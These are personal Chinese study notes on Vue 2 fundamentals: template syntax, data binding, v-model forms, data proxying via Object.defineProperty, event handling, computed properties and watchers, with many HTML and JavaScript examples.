Vue笔记

零碎知识点

变量占位符_,比如function(_,a,b)。下划线表示占去第一个变量的位置,后面并不会使用第一个变量。如果用普通的变量占位,但后面不用这个变量,语法检查时可能会报错

Vue简介

本教程VueComponent的实例对象,以后简称vc(组件实例对象)。Vue的实例对象,以后简称vm

Vue 核心

初识 Vue

  1. 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
new Vue({
	el:'#demo',
	data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
		name:'atguigu',
		address:'北京'
	}
})

参数说明:

  • el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。也可以是以原生JS的方法获得的DOM元素。比如:el:document.getElementById("root")
  • data中用于存储数据,数据供el所指定的容器去使用,值可以是对象或函数的形式,常用函数的形式
  1. root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
  2. root容器里的代码被称为【Vue模板】;
  3. Vue实例和容器是一一对应的(不是一对多或多对一的关系);
  4. 真实开发中只有一个Vue实例,并且会配合着组件一起使用;
  5. {{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
    注意区分:js表达式 和 js代码(语句)
    1. 表达式:一个表达式会产生一个值(包括undefined),可以放在任何一个需要值的地方:
      (1). a
      (2). a+b
      (3). demo(1)
      (4). x === y ? 'a' : 'b'
    2. js代码(语句)
      (1). if(){}
      (2). for(){}
  6. 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>初识Vue</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器 -->
		<div id="demo">
			<h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
		</div>

		<script type="text/javascript" >
			Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

			//创建Vue实例
			new Vue({
				el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
				data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
					name:'atguigu',
					address:'北京'
				}
			})

		</script>
	</body>
</html>

image

Vue.config 是一个对象,包含 Vue 的全局配置。可以在启动应用之前修改下列 property
productionTip

  • 类型:boolean
  • 默认值:true
  • 用法:设置为 false 以阻止 vue 在启动时生成生产提示。
    image

模板语法

html 中包含了一些 JS 语法代码,语法分为两种,分别为:

  1. 插值语法(双大括号表达式)
  2. 指令(以 v-开头)

Vue模板语法有2大类:

  1. 插值语法:
    功能:用于解析标签体内容。
    写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
  2. 指令语法:
    功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
    举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx同样要写js表达式,且可以直接读取到data中的所有属性。
    备注:Vue中有很多的指令,且形式都是:v-????,只有v-bind:href="xxx"可以简写为:href="xxx"
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <!-- 插值语法只能解析标签体内容,不能解析标签属性内容,所以href的值就为"{{url}}" -->
        <a href="{{url}}">点我去{{name}}学习1</a>
        <!-- 要想解析标签属性内容可以用v-bind,这里是简写形式 -->
        <a :href="url">点我去{{name}}学习2</a>
    </div>
    <script type="text/javascript" >
        new Vue({
			el:'#root',
			data:{
				name:'jack',
				// 同名属性写在同一级的话后面的属性会覆盖前面的,将同名属性写在不同层级不会互相影响
				name:'尚硅谷',
				url:'http://www.atguigu.com',
			}
		})
    </script>
</body>
</html>

image
image

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>模板语法</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>插值语法</h1>
			<h3>你好,{{name}}</h3>
			<hr/>
			<h1>指令语法</h1>
			<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
			<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		new Vue({
			el:'#root',
			data:{
				name:'jack',
				school:{
					// 同名属性写在同一级的话后面的属性会覆盖前面的,将同名属性写在不同层级不会互相影响
					name:'尚硅谷',
					url:'http://www.atguigu.com',
				}
			}
		})
	</script>
</html>

image

数据绑定

Vue中有2种数据绑定的方式:

  1. 单向数据绑定
  • 语法:v-bind:href ="xxx" 或简写为 :href
  • 特点:数据只能从 data 流向页面
  1. 双向数据绑定
  • 语法:v-mode:value="xxx" 或简写为 v-model="xxx"
  • 特点:数据不仅能从 data 流向页面,还能从页面流向 data
    备注:
  1. 双向绑定一般都应用在表单类元素上(如:input、select等),就是有value属性的元素,即可以输入值的元素(包括单选按钮,复选框等)
  2. v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
  3. 都是一对一绑定
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 普通写法 -->
			<!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>
			双向数据绑定:<input type="text" v-model:value="name"><br/> -->

			<!-- 简写 -->
			单向数据绑定:<input type="text" :value="name"><br/>
			双向数据绑定:<input type="text" v-model="name"><br/>

			<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
			<!-- <h2 v-model:x="name">你好啊</h2> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>

单向数据绑定
image

image

v-model在表单中的使用技巧

收集表单数据:

  • 若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
  • 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
  • 若:<input type="checkbox"/>
    1. 没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
    2. 若配置了input的value属性:

​ (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值),配置的value属性不起作用
​ (2)v-model的初始值是数组,那么收集的的就是value组成的数组

v-model的三个修饰符:

  • lazy:懒收集,不会因为输入内容的改变而实时收集数据,失去焦点时才收集数据
  • number:输入的内容一般默认是字符串,加上该修饰符后,输入的字符串会转为有效的数字
  • trim:去除输入字符串首尾的空格,与原生JS的trim方法类似
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 现在form表单一般不用配置action,因为现在一般是用ajax来提交数据 -->
			<form @submit.prevent="demo">
				账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码:<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别:
				<!-- 记得加name属性限定单选组 -->
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好:
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息:
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
				<button type="submit">提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				// 用userInfo将数据包裹起来,便于打印出收集的信息
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[], // 注意hobby要设置成数组
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))// 尽量不要直接打印JSON.stringify(this._data)
				}
			}
		})
	</script>

el和data的2种写法

  1. el有2种写法
    (1).new Vue时候配置el属性。
const v = new Vue({
	el:'#root', //第一种写法, 在创建Vue实例对象时就指定el
	data:{
		name:'尚硅谷'
	}
})

(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。mount此处意为挂载

// 创建Vue实例时先不指定el
const v = new Vue({
	data:{
		name:'尚硅谷'
	}
})
...
v.$mount('#root') //第二种写法, 在适当的时候再挂载el
  1. data有2种写法
    (1).对象式
new Vue({
	el:'#root',
	//data的第一种写法:对象式
	data:{
		name:'尚硅谷'
	}

(2).函数式:data属性值是一个函数(不要是箭头函数,以免造成this的混乱),函数的返回值是与对象式中的data等效的对象, 例如
data:function(){ ... return {...} }
可简写成
data(){ ... return {...} }
函数中的this是Vue实例对象

如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。

  1. 一个重要的原则:
    由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了

MVVM 模型

  1. M:模型(Model) :对应 data 中的数据
  2. V:视图(View) :模板html
  3. VM:视图模型(ViewModel) : Vue 实例对象

特点
image

  1. data中所有的属性,最后都出现在了vm身上。
  2. vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校名称:{{name}}</h1>
			<h1>学校地址:{{address}}</h1>
			<h1>测试一下1:{{1+1}}</h1>
			<!-- Vue模板(就是与Vue实例绑定的DOM)可以直接读取Vue实例及其原型链上的属性 -->
			<h1>测试一下2:{{$options}}</h1>
			<h1>测试一下3:{{$emit}}</h1>
			<h1>测试一下4:{{_c}}</h1>
		</div>
	</body>
	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		const vm = new Vue({
			el:'#root',
			data:{
				// data中的属性添加到了Vue实例中
				name:'尚硅谷',
				address:'北京',
			}
		})
		console.log(vm)
	</script>

image

数据代理

Object.defineProperty()

详见MDN
Object.defineProperty() 方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回此对象
该方法允许精确地添加或修改对象的属性。通过赋值操作添加的普通属性是可枚举的,在枚举对象属性时会被枚举到(for...in 或 Object.keys方法),可以改变这些属性的值,也可以删除这些属性。这个方法允许修改默认的额外选项(或配置)。默认情况下,使用 Object.defineProperty() 添加的属性值是不可修改(immutable)、不可删除且不可枚举的。
备注:应当直接在 Object 构造器对象上调用此方法,而不是在任意一个 Object 类型的实例上调用
语法
Object.defineProperty(obj, prop, descriptor)
参数
obj: 要定义属性的对象。
prop:要定义或修改的属性的名称或 Symbol
descriptor:要定义或修改的属性描述符(就是一个配置对象)。对象里目前存在的属性描述符有两种主要形式:数据描述符和存取描述符。数据描述符是一个具有值的属性,该值可以是可写的,也可以是不可写的。存取描述符是由 getter 函数和 setter 函数所描述的属性。一个描述符只能是这两者其中之一;不能同时是两者
返回值:被传递给函数的对象

descriptor中的配置项

  • value, 即要配置的obj对象中prop的属性值
  • writable,控制属性是否可以被修改,默认值是false即不能被重新赋值
var o = {}; // 创建一个新对象

Object.defineProperty(o, 'a', {
  value: 37,
  writable: false
});

console.log(o.a); // logs 37
o.a = 25; // No error thrown
// (it would throw in strict mode,
// even if the value had been the same)
console.log(o.a); // logs 37. The assignment didn't work.
  • enumerable 默认是false,定义了该属性是否可以在 for...in 循环和 Object.keys() 中被枚举
var o = {};
Object.defineProperty(o, "a", { value : 1, enumerable: true });
Object.defineProperty(o, "b", { value : 2, enumerable: false });
Object.defineProperty(o, "c", { value : 3 }); // enumerable 默认为 false
o.d = 4; // 如果使用直接赋值的方式创建对象的属性,则 enumerable 为 true
for (var i in o) {
  console.log(i);
}
// logs 'a' and 'd' (in undefined order)

Object.keys(o); // ['a', 'd']
  • configurable 默认值为false,表示对象的属性是否可以被删除,以及除 value 和 writable 外的其他配置项是否可以被修改
var o = {};
Object.defineProperty(o, 'a', {
  get() { return 1; },
  configurable: false
});

Object.defineProperty(o, 'a', {
  configurable: true
}); // throws a TypeError
Object.defineProperty(o, 'a', {
  enumerable: true
}); // throws a TypeError
Object.defineProperty(o, 'a', {
  set() {}
}); // throws a TypeError (set was undefined previously)
Object.defineProperty(o, 'a', {
  get() { return 1; }
}); // throws a TypeError
// (even though the new get does exactly the same thing)
Object.defineProperty(o, 'a', {
  value: 12
}); // throws a TypeError // ('value' can be changed when 'configurable' is false but not in this case due to 'get' accessor)

console.log(o.a); // logs 1
delete o.a; // Nothing happens
console.log(o.a); // logs 1

如果 o.a 的 configurable 属性为 true,则不会抛出任何错误,并且,最后,该属性会被删除

  • get() :每次读取prop属性时,get函数(getter)就会被调用,且返回值就是prop属性的值
  • set() :每次修改person的age属性时,set函数(setter)就会被调用,该方法接受一个参数(也就是被赋予的新值)
	<body>
		<script type="text/javascript" >
			let number = 18
			let person = {
				name:'张三',
				sex:'男',
			}
			
			Object.defineProperty(person,'age',{
				// value:18,
				// enumerable:true, //控制属性是否可以枚举,默认值是false
				// writable:true, //控制属性是否可以被修改,默认值是false
				// configurable:true //控制属性是否可以被删除,默认值是false
				//当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
				get(){
					console.log('有人读取age属性了')
					return number
				},

				//当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
				set(value){
					console.log('有人修改了age属性,且值是',value)
					number = value
				}

			})

			// console.log(Object.keys(person))

			console.log(person)
		</script>
	</body>

image

数据代理

通过Object.defineProperty()让obj中的x属性映射到obj2中(双向映射的关系),同时修改obj2中的x属性也会修改obj中的x属性, 这类现象叫做“数据代理”

let obj = {x:100}
let obj2 = {y:200}
Object.defineProperty(obj2,'x',{
	get(){
		return obj.x
	},
	set(value){
		obj.x = value
	}
})

image

Vue中的数据代理

  1. Vue中的数据代理:
    通过vm对象来代理data对象中属性的操作(读/写)
  2. Vue中数据代理的好处:
    更加方便的操作data中的数据, 即可以直接用data对象中的属性名,而
    不用通过_data.属性名来操作属性
  3. 基本原理:
    通过Object.defineProperty()把data对象中所有属性添加到vm上。
    为每一个添加到vm上的属性,都指定一个getter和setter。
    在getter和setter内部去操作(读/写)data中对应的属性。
    image

image

image

事件处理

事件的基本使用

  1. 使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;

<button v-on:click="showInfo">点我提示信息</button>

<button @click="showInfo1">点我提示信息1</button>更常用

  1. 事件的回调需要配置在methods对象中,最终会在该Vue实例对象上;
  2. methods中配置的函数,注意不要用箭头函数!否则this就不是该Vue实例对象了
  3. methods中配置的函数,都是被Vue所管理的函数,this的指向是该Vue实例对象 或 组件实例对象
  4. 注意Vue实例中定义的函数不要写在data对象中,data中存储的是数据这类实时容易改变的数,所以data中存储的数据都会做数据代理,就是都会有相应的setter和getter方法。而函数是不容易改变的,所以没有必要放在data里(即使放在data里函数照样能正常工作),因为这样会增加不必要的开销
  5. 不需要给事件绑定的函数传递参数时,可以省略函数的括号,所以@click="demo" 和 @click="demo(\(event)" 效果一致(就是第一个参数是事件对象,不省略括号的写法如果形参没有`\)event,函数就没有这个形参),$event`是个占位的参数,表示事件对象。需要传递参数时直接在函数括号里写上参数,注意定义函数参数时与传递实参的顺序要一致
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!-- <button v-on:click="showInfo">点我提示信息</button> -->
			<button @click="showInfo1">点我提示信息1(不传参)</button>
			<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
			},
			methods:{
				showInfo1(event){
					// console.log(event.target.innerText)
					// console.log(this) //此处的this是vm
					alert('同学你好!')
				},
				showInfo2(event,number){
					console.log(event,number)
					// console.log(event.target.innerText)
					// console.log(this) //此处的this是vm
					alert('同学你好!!')
				}
			}
		})
	</script>

image-20230417151623122

事件修饰符

修饰符可以连续写一起

Vue中的事件修饰符:

  1. prevent:阻止默认事件(常用);

  2. stop:阻止事件冒泡(常用);

  3. once:事件只触发一次(常用);

  4. capture:使用事件的捕获模式,一般事件响应函数在冒泡阶段执行,加上该修饰符后会在事件捕获阶段执行;

    <!-- 点击box2后先打印2,后打印1 -->
    <div class="box1" @click="showMsg(1)">
    	div1
    	<div class="box2" @click="showMsg(2)">
    		div2
    	</div>
    </div>
    
    <!-- 使用事件的捕获模式,所以box1会在事件捕获阶段执行 -->
    <!-- 点击box2后先打印1,后打印2 -->
    <div class="box1" @click.capture="showMsg(1)">
    	div1
    	<div class="box2" @click="showMsg(2)">
    		div2
    	</div>
    </div>
    
  5. self:只有event.target是绑定事件的元素时才触发事件;

  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕;

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!-- 阻止默认跳转行为(常用) -->
			<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

			<!-- 阻止事件冒泡(常用) -->
			<div class="demo1" @click="showInfo">
				<button @click.stop="showInfo">点我提示信息</button>
				<!-- 修饰符可以连续写,以下就表示既阻止链接默认的跳转行为,又阻止事件冒泡 -->
				<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
			</div>

			<!-- 事件只触发一次(常用) -->
			<button @click.once="showInfo">点我提示信息</button>

			<!-- 使用事件的捕获模式,所以box1会在事件捕获阶段执行 -->
			<div class="box1" @click.capture="showMsg(1)">
				div1
				<div class="box2" @click="showMsg(2)">
					div2
				</div>
			</div>

			<!-- 只有event.target是绑定事件的元素时才触发事件 -->
			<div class="demo1" @click.self="showInfo">
				<button @click="showInfo">点我提示信息</button>
			</div>

			<!-- 事件的默认行为立即执行,无需等待事件响应函数执行完毕; -->
			<ul @wheel.passive="demo" class="list">
				<li>1</li>
				<li>2</li>
				<li>3</li>
				<li>4</li>
			</ul>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods:{
				showInfo(e){
					alert('同学你好!')
					// console.log(e.target)
				},
				showMsg(msg){
					console.log(msg)
				},
				demo(){
					for (let i = 0; i < 100000; i++) {
						console.log('#')
					}
					console.log('累坏了')
				}
			}
		})
	</script>

键盘事件

每一个按键都有一个键名key, 和一个键码keyCode

  1. Vue中常用的按键别名:
  • 回车 => enter
  • 删除 => delete (捕获“删除”和“退格”键)
  • 退出 => esc
  • 空格 => space
  • 换行 => tab (特殊,必须配合keydown去使用)
  • 上 => up
  • 下 => down
  • 左 => left
  • 右 => right
  1. Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意Caps lock要转为caps-lock(短横线连接)

  2. 系统修饰键(用法特殊):ctrl、alt、shift、meta(指windows徽标键或MacOS的Command键)
    (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。如果想要在按下系统修饰键和其他一个特定按键的时候事件才触发,而不是其他任何一个按键都能触发,有如下写法:

    <input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo">表示同时按下ctrl和y键才触发事件
    (2).配合keydown使用:正常触发事件。

  3. 注意如果是按Tab键触发事件,需要配合keydown使用,因为Tab键的功能是选择,当按下Tab键后,输入框已经失去了焦点,所以Tab键抬起时已经捕获不到输入框的keyup事件,就不会触发相应的相应函数
    <input type="text" placeholder="按下回车提示输入" @keydown.tab="showInfo">

  4. Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods: {
				showInfo(e){
					console.log(e.key,e.keyCode)
					console.log(e.target.value)
				}
			},
		})
	</script>
image-20230417164154382

计算属性

案例:实现输入姓和名,自动计算出全名

以下用3种方法实现该功能,请注意对比3种方法区别于优劣

方法1:插值语法实现

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_插值语法实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{firstName}}-{{lastName}}</span>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			}
		})
	</script>
</html>

方法2:methods实现

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_methods实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName()}}</span>
            <!-- 在一个容器中写了多个fullName()会调用多次fullName() -->
			<!-- 全名:<span>{{fullName()}}</span>
			全名:<span>{{fullName()}}</span>
			全名:<span>{{fullName()}}</span> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			},
			methods: {
				fullName(){
					console.log('@---fullName')
					return this.firstName + '-' + this.lastName
				}
			},
		})
	</script>
</html>

方法3:计算属性实现

计算属性:

  1. 定义:需要实时通过已有属性计算得来,放在Vue实例的computed属性中的属性
  2. 原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
  3. get函数什么时候执行?
    (1).计算属性初次被读取时会执行一次。
    (2).当计算所依赖的数据发生改变时会被再次调用
  4. set函数什么时候执行?当计算属性被修改时
  5. 优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。methods中的函数在容器中多次出现时会多次调用,而计算属性只需计算一次,容器中再次出现该计算属性时会利用已加载的缓存,不会重复计算。
  6. 如果计算属性需要被修改,那必须写set函数去响应修改,且set中要让计算时依赖的数据改变,这时就不能把computed简写成函数了
  7. get()中所依赖的变量不要有Vue实例和容器之外的变量,因为这样的变量在Vue的监测范围外,只能在第一次执行的时候被读取,后续该变量改变时,Vue实例无法监测到其改变,导致计算属性无法因为该外部变量的改变而更新
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			测试:<input type="text" v-model="x"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
            <!-- 即使多次出现fullName,但只调用一次fullName的get方法 -->
			<!-- 全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
			全名:<span>{{fullName}}</span> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		// let a='1'
		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				x:'你好'
			},
			methods: {
				demo(){
					
				}
			},
			computed:{
				fullName:{
					//get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
					//get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
					get(){
						console.log('get被调用了')
						// console.log(this) //此处的this是vm
                        // return this.firstName + '-' + this.lastName+a // 不要引用外部变量
						return this.firstName + '-' + this.lastName
					},
					//set什么时候调用? 当fullName被修改时。
					set(value){
						console.log('set',value)
						const arr = value.split('-')
                        // 记得set中要改变所依赖的变量
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				}
			}
		})
	</script>
</html>

如果计算属性没有要修改的需求,可以省略set方法,简写该计算属性的get方法

const vm = new Vue({
	el:'#root',
	data:{
		firstName:'张',
		lastName:'三',
	},
	computed:{
		//简写,属性名是fullName
		fullName(){
			console.log('get被调用了')
			return this.firstName + '-' + this.lastName
		}
	}
})

fullName()的返回值会作为计算属性的值,计算属性最终会成为Vue实例的一个属性,直接读取使用即可,注意不要以函数的形式去读取计算属性(这样读取不到)

以下读取方式是错误的

<div id="root">
	全名:<span>{{fullName()}}</span> <br/><br/>
</div>

侦听属性

案例:点击按钮,实现天气的切换

方法1:普通实现

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的JS语句 -->
			<!-- <button @click="isHot = !isHot">切换天气</button> -->
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
		})
	</script>

方法2:侦听属性实现

侦听属性watch:

  1. 当被侦听的属性变化时, 回调函数自动调用, 进行相关操作。
  2. 侦听属性对应的函数handler(newValue,oldValue){...}名称handler是固定的,第一个参数是旧值,第二个参数是新值
  3. 侦听的属性必须存在,才能进行侦听!!
  4. 侦听的两种写法:
    (1).new Vue时传入watch配置
    (2).通过vm.$watch侦听

注意:如果要改变侦听属性值,记得要赋值,侦听属性对应的函数的返回值不会赋给侦听属性

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_侦听属性</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
            methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			/* watch:{
				isHot:{
					immediate:true, // 设置初始化时调用handler
					// 之后handler什么时候调用?当isHot发生改变时。
					// newValue表示变化后的新值, oldValue表示变化前的旧值
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}
			} */
		})

		vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			//handler什么时候调用?当isHot发生改变时。
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		})
	</script>
</html>

深度侦听

可以与浅拷贝、深拷贝类比理解

深度侦听:

  1. Vue中的watch默认不监测对象内部值的改变(即只监测一层,就是监测属性值最表层对象地址是否改变)
  2. 配置deep:true可以监测对象内部值改变(多层)

备注:

  1. Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
  2. 使用watch时根据数据的具体结构,决定是否采用深度侦听
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h3>a的值是:{{numbers.a}}</h3>
			<button @click="numbers.a++">点我让a+1</button>
			<h3>b的值是:{{numbers.b}}</h3>
			<button @click="numbers.b++">点我让b+1</button>
            <!-- 未配置deep:true时只侦听numbers指向的对象地址的变化 -->
			<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
			{{numbers.c.d.e}}
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				numbers:{
					a:1,
					b:1,
					c:{
						d:{
							e:100
						}
					}
				}
			},
			watch:{
				//侦听多级结构中某个属性的变化
                // 注意这种有子属性的写法不能省略键的引号
				/* 'numbers.a':{
					handler(){
						console.log('a被改变了')
					}
				} */
				
				numbers:{
					deep:true,// 加上改配置后,就会侦听多级结构中所有属性的变化
					handler(){
						console.log('numbers改变了')
					}
				}
			}
		})

	</script>
</html>

深度侦听简写形式

当侦听属性不需要配置immediate:true或deep:true时,可以简写该属性

  1. 创建Vue实例时的简写形式

    watch:{
    	//正常写法
    	isHot:{
    		// immediate:true, //初始化时让handler调用一下
    		// deep:true,//深度侦听
    		handler(newValue,oldValue){
    			console.log('isHot被修改了',newValue,oldValue)
    		}
    	},
    	//简写
    	isHot(newValue,oldValue){
    		console.log('isHot被修改了',newValue,oldValue,this)
    	}
    }
    
  2. 创建Vue实例后再设置watch属性的简写形式

    //正常写法
    vm.$watch('isHot',{
    	immediate:true, //初始化时让handler调用一下
    	deep:true,//深度侦听
    	handler(newValue,oldValue){
    		console.log('isHot被修改了',newValue,oldValue)
    	}
    })
    //简写, 注意不要写成箭头函数,以免造成this指向错误
    vm.$watch('isHot',function(newValue,oldValue){
    	console.log('isHot被修改了',newValue,oldValue,this)
    })
    

watch与computed对比

computed和watch之间的区别:

  1. computed能完成的功能,watch都可以完成。在相应的配置对象中没有异步需求时,用computed更简洁
  2. watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作,比如实现“点击按钮后1s再切换天气”的功能
